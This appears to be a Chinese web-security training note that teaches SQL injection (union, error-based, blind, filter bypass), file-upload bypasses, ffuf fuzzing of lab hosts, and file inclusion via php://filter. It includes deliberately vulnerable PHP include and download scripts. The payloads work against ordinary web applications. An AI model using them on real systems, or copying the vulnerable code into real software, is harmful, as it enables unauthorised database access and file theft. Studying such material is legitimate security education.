网安培训第一期——sql注入+文件

news2024/10/5 13:59:11

文章目录

  • sql inject
    • 报错注入
    • time盲注
    • 联合查询
    • 万能密码
    • 拦截和过滤
    • ascii
    • 注入流程
    • base64
    • 查询的列名为mysql保留关键字key
  • 文件上传
    • ffuf
    • 脚本要做的三件事
    • 网络端口进程
    • 用户权限
    • 文件
    • 文件包含
    • 文件下载
    • XSS跨站请求攻击
    • csrf跨站请求伪造

sql inject

  1. 判断输入字段是字符串还是数字
    方法:
-- 字符串——显示全部内容(1是为了回显有效的数字,去掉网站正常查询出的信息)
1#    
-- 数字——显示全部内容
1 # 
  1. 判断回显字段数量
-- 通过二分法调整n的数量来判断列数
1' order by n #
-1' union select 1,2,3,4 #

3.在回显字符串处替代要获取的内容(一般是获取数据库名)

-1union select 1,database(),user(),version() #

4.通过数据库名获取有用表名

-1union select 1,2,table_name,4 from information_schema.tables where table_schema=database() #

5.通过表名获取有用列名(假设获取到表名为user)
注意:单引号可能造成错误闭合,可以在此处使用16进制的表名

1union select 1,2,column_name,4 from information_schema.columns where table_name='user' and table_schema=database() #
-- 获取16进制表名
select hex('users');
1union select 1,database(),column_name,4 from information_schema.columns where table_name=0x7573657273 and table_schema=database() #

6.通过列名获取有用信息

1union select 1,username,password,4 from chujiban.user #

报错注入

or updatexml(1,concat(0x7e,(database()),0x7e),1) #

无需试列数
1.查找数据库

or updatexml(1,concat(0x7e,(database()),0x7e),1) #

2.查找表(concat()限制输出结果为32位,且只能输出一个结果,因此必须使用limit 0,1)

-- 可以配合substr()函数获取到32位之后的值   substr(string,start,length)
-- substr('abcdef',2,3)  输出为 'bcd'
or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,100),0x7e),1) #
-- 每次在substr()函数的第二个参数加31,即可全部展示
or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),32,100),0x7e),1) #

3.查找列名

or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,100),0x7e),1) #

4.查找账号密码

or updatexml(1,concat(0x7e,(select username from 'xxx' limit 0,1),0x7e),1) #
or updatexml(1,concat(0x7e,(select password from 'xxx' limit 0,1),0x7e),1) #

time盲注

无回显,或者回显始终不变化的情况使用time盲注

-- if(1=1, sleep(3), 2);  如果第一个参数的值为true,就执行第二个参数,否则执行第三个参数
-- 测试
id=1' and and sleep(10) # #
-- 如果table_name的第一个字母的ascii值>0就直接输出,否则就睡3秒在输出
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 0, 1, sleep(3));

联合查询

联合查询中使前一条语句查询失败的三种方式

  1. id=-1
  2. and 1=2
  3. limit 1,1 筛除最后给的假值

万能密码

1.#和–都被过滤的情况下可以使用 id=1’ or '1

这样sql语句就变成 id='1' or '1'='1'
select * from news where id = '1' or '1';  -- 成功闭合
select * from news where id = '1' or '1' = '1';  -- 成功闭合

拦截和过滤

关键字转义,如or(or,order,information_schema,password),and,union, select等->使用双重关键字寻找,如aandnd,oorderrder,sselectelect。

ascii

-- 1.判断语句正误,查询到值说明正确
select * from news where id = 1 and ascii(substr(database(),1,1)) > 0
-- 2.判断database()首字母的ascii值,查询到值说明ascii>100,否则<100,二分法判断
select * from news where id = 1 and ascii(substr(database(),1,1)) > 100
-- 3.确定database()首字母的ascii值=99
select * from news where id = 1 and ascii(substr(database(),1,1)) = 99;
-- 4.确定database()首字母的为'c'
SELECT CHAR(99);
-- 记住常见的ascii值  a-97 z-122 A-65 Z-90 ascii>=0
-- 查询表名同理
select * from news where id = 1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 0

注入流程

联合查询(union select) > bool盲注(判断ascii) > time盲注(ifsleep()函数)

  1. 首先通过页面判断参数名称,输入一个符号(无输入-整型,单引号/双引号/括号-字符型),页面报错,然后输入%23--+,页面恢复正常,说明闭合。在这里插入图片描述

  2. 若输入%23后页面仍显示报错,则尝试添加 )\ 等符号,当页面恢复正常时即为成功闭合,可以通过and 1=1 正常显示,and 1=2异常,进一步验证是否成功闭合。

  3. 若输入%23后页面显示正常,但是输入and 1=1报错说明存在过滤,分别对and,空格,等号,1进行相应替换尝试,and等关键字可使用双层aandnd(后续order by union select or同理),空格可以换做/**/或/*12138*/,等号可换作like,1可改用其他数字。

  4. 通过order by 1order by n判断前端输出表的列数,若order by 1报错说明存在过滤

  • 成功->使id=-1 使用联合查询union select 1,2,3,...,n进行下一步查找
  • 失败->考虑是否有关键字转义,如or(or,order,information_schema,password),and,union, select等->使用双重关键字寻找,如aandnd,oorderrder,sselectelect

base64

网站代码中设置了对传入参数进行base64解码,因此可以使用base64编码后的值取验证是否存在sql注入

.php?id=1' # 空页面
.php?id=MSc= # 使用base64对1编码,页面报错,即符合上述情况
select `key` from users;  -- 正确

在这里插入图片描述

查询的列名为mysql保留关键字key

select key from users;   -- 报错
select `key` from users;  -- 正确

使用burpsuite爆破admin:1q2w3e4r转base64编码之后的POST请求方式的验证
1.从proxy中找到GET请求发送到repeter,change request成POST
2.sent to Intruder 设置
在这里插入图片描述
3. 爆破后转码 结果->url->base64

在这里插入图片描述

文件上传

  1. 文件名修改 1.jpg -> 1.php,使上传的文件变为可执行
  2. 黑名单 1.php. 或2.phP或3.php空格,绕过 php文件过滤
  3. copy source.jpg/b+1.php target.jpg

ffuf

格式:ffuf -u "目标地址/FUZZ" -w 字典
举例:ffuf -u "http://192.168.111.131/FUZZ" -w /usr/share/SecLists-2022.2/Discovery/Web-Content/common.txt
多个字典同时使用
使用格式:
ffuf -u 目标地址/FUZZ -mc 200 -w 字典路径地址
ffuf -u 目标地址/FUZZ1:FUZZ2 -w 字典:FUZZ1 -w 字典:FUZZ2
带cookie的扫描
ffuf -u http://192.168.111.130/DVWA-master/FUZZ -w /usr/share/SecLists-2022.2/Discovery/Web-Content/common.txt -b "security=low; PHPSESSID=pj0emeebmimf3t9ddpv6pknah0"

脚本要做的三件事

  1. 文件操作
  2. 命令操作
  3. 数据操作

网络端口进程

ipconfig /all
tasklist /svc  //查看进程
netstat /ano //查看端口号

用户权限

文件

copy
move
dir  // 显示文件路径=pwd
type 1.txt // 输出文件内容
echo 123 > 1.txt // 向文件中写入内容
dir /s c:/*.php // 搜索c盘目录下后缀为.php的文件
// 可以通过已查到的文件名确定项目根目录

文件包含

// test1
<?php
$file = $_GET["file"];
include $file;
?>
// 然后在浏览器中通过传参的方式执行包含的文件
// 127.0.0.1/test1.php?file=1.php
// 同时可以查看其他目录文件
// http://127.0.0.1/test1.php?file=./upload/1.jpg 如下图

应用场景:

  1. 文件包含+上传白名单 1.jpg
    在这里插入图片描述
<?php
//$file = $_GET["file"];
// 出于保护,使用固定尾缀的方式命名变量
$file = $_GET["file"]."txt";
include $file;
?>

再次访问1.txt时,出现报错,通过报错信息发现添加了.txt尾缀,此时应该直接通过file=1来访问1.txt
在这里插入图片描述
如何绕过固定尾缀?
浏览器通过%00截断,由于php版本问题目前未验证成功。

  1. 伪协议 参考
    php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。我们可以用如下代码将POST内容转换成base64编码并输出:
php://filter/convert.base64-encode/resource=xxx.php
//test1.php
<?php
$file = $_GET["file"];
include $file;
?>

在这里插入图片描述
base64解码
在这里插入图片描述

(1)开启
allow_url_fopen=On
allow_url_include=On
(2)用户可以动态控制变量
注1: 通常我们在Web中是无法知道allow_url_fopen、allow_url_include的,除非有phpinfo。通常本地包含都是开着的,因为它是默认开启的,而且很少人会改它。通常远程包含会被关掉,但是这说不准。
注2: 从PHP 5.2开始allow_url_include就默认为off的,而allow_url_fopen一直默认都是On的。通常开发人员没特殊情况也不会打开,所以说远程包含漏洞出现的概率很低,但是不代表没有。

  1. %00截断 get请求,要求 php版本 < 5.3.x

通过在代码中实现base64解码,在浏览器需输入base64编码的参数值。

//test1.php
<?php
$file = base64_decode($_GET["file"]);
include $file;
?>

在这里插入图片描述

在这里插入图片描述

伪协议读取源代码,同样需要对php://filter/convert.base64-encode/resource=1.txt进行base64编码。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

文件下载

1.传入文件名进行下载

<?php
// 获取要下载的文件路径
$file = $_GET["filename"];

// 检查文件是否存在
if (file_exists($file)) {
    //获取文件大小
    $filesize = filesize($file); 
    // 设置响应标头
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename=' . basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));

    // 输出文件内容
    readfile($file);
    exit;
} else {
    // 文件不存在的处理逻辑
    die('文件不存在.');
}
?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2. 根据数据库中的文件id下载

<?php
header("Content-Type:text/html;charset=utf-8");
include "conf.php";
// 要下载文件的id
$id = $_GET["id"];
$sql = "select * from files where id ='$id'";
$result = mysqli_query($con,$sql);
$row = mysqli_fetch_array($result);

$file = $row['path'];
$filename = $row['path'];
// 检查文件是否存在
if (file_exists($file)) {
    //获取文件大小
    $filesize = filesize($file); 
    // 设置响应标头
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename=' . basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));

    // 输出文件内容
    readfile($file);
    exit;
} else {
    // 文件不存在的处理逻辑
    die('文件不存在.');
}
?>

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
这种情况容易造成sql注入。

XSS跨站请求攻击

csrf跨站请求伪造

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1412479.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ShardingSphere之ShardingJDBC客户端分库分表上

目录 什么是ShardingSphere&#xff1f; 客户端分库分表与服务端分库分表 ShardingJDBC客户端分库分表 ShardingProxy服务端分库分表 ShardingSphere实现分库分表的核心概念 ShardingJDBC实战 什么是ShardingSphere&#xff1f; ShardingSphere是一款起源于当当网内部的应…

拼图小游戏的界面和菜单的搭建

package Puzzlegame.com.wxj.ui;import javax.swing.*;public class GameJframe extends JFrame { //游戏主界面 public GameJframe(){//初始化界面initJFrame();//初始化菜单initJmenuBar();//让界面显示出来this.setVisible(true); }private void initJmenuBar() {//创建整个…

强化学习基础(一)

1 初始强化学习 强化学习是机器通过与环境交互来实现目标的一种计算方法。 机器和环境的一轮交互是指&#xff0c;机器在环境的一个状态下做一个动作决策&#xff0c;把这个动作作用到环境当中&#xff0c;这个环境发生相应的改变并且将相应的奖励反馈和下一轮状态传回机器 …

二叉树的构建,遍历等

1.叉树链式结构的实现 1.1前置说明 在学习二叉树的基本操作前&#xff0c;需先要创建一棵二叉树&#xff0c;然后才能学习其相关的基本操作。 为了方便调试&#xff0c;我直接在主函数中来建立二叉树了&#xff0c;下面是一个简单的二叉树 二叉树节点结构体的定义&#xff…

NC65中间件能启动,前端客户端启动失败,加载异常,卡住(org.owasp.esapi)

控制台输出错误 ESAPI.properties could not be loaded by any means. Fail.SecurityConfiguration class(org.owasp.esapi.reference.DefaultSecurityConfiguration) CTOR threw exception.效果图&#xff1a; 解决方案 添加如下参数&#xff1a; -Dorg.owasp.esapi.resou…

阿里云服务器ESC部署前后端分离项目完整流程

阿里云服务器ESC部署服务完整流程 准备安装软件1.安装jdk2.安装tomcat3.安装mysql 后端应用功能编写及部署编写一个简单的用户增删改查功能发布流程 前端功能应用及部署搭建前端框架准备&#xff1a;已安装npm 页面user.vueuserForm.vue 跨域问题安装nginx配置nginx 源码 准备 …

Maya的ai功能有哪些?Maya Assist是什么?

Autodesk Maya是一款流行的 3D 建模软件&#xff0c;艺术家和设计师使用它来创建现实的世界和表面。该软件以其与各种工具开发人员的合作而闻名&#xff0c;它允许多个工具的无缝集成以改进功能。Autodesk 的 Maya 刚刚发布了 Maya Assist&#xff0c;在 3D 建模和动画领域树立…

架构篇12:架构设计流程-评估和选择备选方案

文章目录 架构设计第 3 步:评估和选择备选方案评估和选择备选方案实战小结上一篇我们聊了设计备选方案,在完成备选方案设计后,如何挑选出最终的方案也是一个很大的挑战,主要原因有: 每个方案都是可行的,如果方案不可行就根本不应该作为备选方案。没有哪个方案是完美的。例…

MES系统计划排产功能,助你提升生产效率

MES系统的排产功能是基于企业的生产需求与资源情况进行制定的。首先&#xff0c;需要明确生产计划的目标和要求&#xff0c;包括计划产量、交货期限、生产能力等。然后&#xff0c;根据企业的生产资源情况&#xff0c;包括人员、设备、原材料等&#xff0c;制定生成计划。在MES…

Java链表(1)

&#x1f435;本篇文章将对单链表进行讲解&#xff0c;模拟实现单链表中常见的方法 一、什么是链表 链表是一种逻辑结构上连续而物理结构上不一定连续的线性表&#xff0c;链表由一个一个节点组成&#xff1a; 每一个节点中都由数据域&#xff08;val&#xff09;和指针域&…

食品加工厂可视化视频AI智能监管方案,助力工厂数字化运营

一、背景与需求分析 随着科技的不断进步和人们对食品安全和质量的日益关注&#xff0c;食品智慧工厂的建设成为了食品行业的一个重要趋势。智能化的食品工厂可以利用先进的技术和自动化系统&#xff0c;提高生产效率、降低监管成本&#xff0c;并确保产品的质量和安全。 行业…

使用GtkSharp下载zip包过慢问题解决方案

背景 安装GtkSharp这个包准备使用C#进行跨平台窗体应用程序开发&#xff0c;运行时发现其需要从github上下载【https://github.com/GtkSharp/Dependencies/raw/master/gtk-3.24.24.zip】这个依赖包&#xff0c;不知道是被墙了还是咋的&#xff0c;下载超时导致运行失败。 解决…

泛型..

1.泛型 所谓泛型 在类定义处是一种类型参数(我们平常所见到的参数指的就是方法中的参数 他接收有外界传递来的值 然后在方法中进行使用) 在类内部的话 则充当一种占位符 并且还提高了代码的复用率 何以见得提高了代码的复用率 其实就是通过对比使用了泛型技术和没有使用泛型技…

VS2019下各种报错合集(持续更新)

VS2019下的各种报错处理(长期更新)&#xff0c;欢迎大家在评论区补充错误代码/描述 解决方案&#xff01;&#xff01;&#xff01; 1、printf 代码运行到printf函数打印不出来内容&#xff0c;打断点之后&#xff0c;f10走过去&#xff0c;程序直接运行起来了&#xff0c;而…

Linux下串口編程遇到的接收数据错误及原因(

近日在调试串口的时候发现&#xff0c;另一设备向我ARM板的串口发送0x0d&#xff0c;我接收之后变成了0x0a&#xff0c;这是问题一&#xff1b;另外当对方向我发送一串数据&#xff0c;如果其中有0x11&#xff0c;那么我总是漏收此数&#xff0c;这是问题二。 由于问题莫名其妙…

深度视觉目标跟踪进展综述-论文笔记

中科大学报上的一篇综述&#xff0c;总结得很详细&#xff0c;整理了相关笔记。 1 引言 目标跟踪旨在基于初始帧中指定的感兴趣目标( 一般用矩形框表示) &#xff0c;在后续帧中对该目标进行持续的定位。 基于深度学习的跟踪算法&#xff0c;采用的框架包括相关滤波器、分类…

【SVA断言_2023.01.24】

在RTL设计中&#xff0c;仿真时查看异常情况&#xff0c;异常出现时&#xff0c;断言会报警&#xff0c;断言占整个设计的比例应不少于30% assertion作用&#xff1a; 检查特定条件或事件序列的出现情况提供功能覆盖 断言失败的严重程度&#xff1a;$fatal&#xff08;中止仿…

Oracle RAC 集群的安装(保姆级教程)

文章目录 一、安装前的规划1、系统规划2、网络规划3、存储规划 二、主机配置1、Linux主机安装&#xff08;rac01&rac02&#xff09;2、配置yum源并安装依赖包&#xff08;rac01&rac02&#xff09;3、网络配置&#xff08;rac01&rac02&#xff09;4、存储配置&#…

FitSM与ITIL及ITSM的对比

FitSM 是一种轻量级 IT 服务管理&#xff08;ITSM&#xff09;标准&#xff0c;其所有材料都是免费提供的&#xff0c;旨在促进 IT 服务提供中的服务管理&#xff0c;包括联合场景。但是&#xff0c;FitSM 适合您的组织吗&#xff1f;了解 FitSM 的适用性涉及两个方面。首先需要…

阿里云PAI-DSW部署ChatGLM3过程记录

1、申请免费的阿里云 PAI-DSW 资源&#xff0c;这个比较基础不做介绍了 2、从第二步开始&#xff0c;我们介绍部署ChatGLM3过程&#xff1a;PAI-DSW 资源界面如下图&#xff1a;点击开启新终端 3、默认目录下面建一个test目录&#xff0c;如下图&#xff1a; 4、执行命令cd te…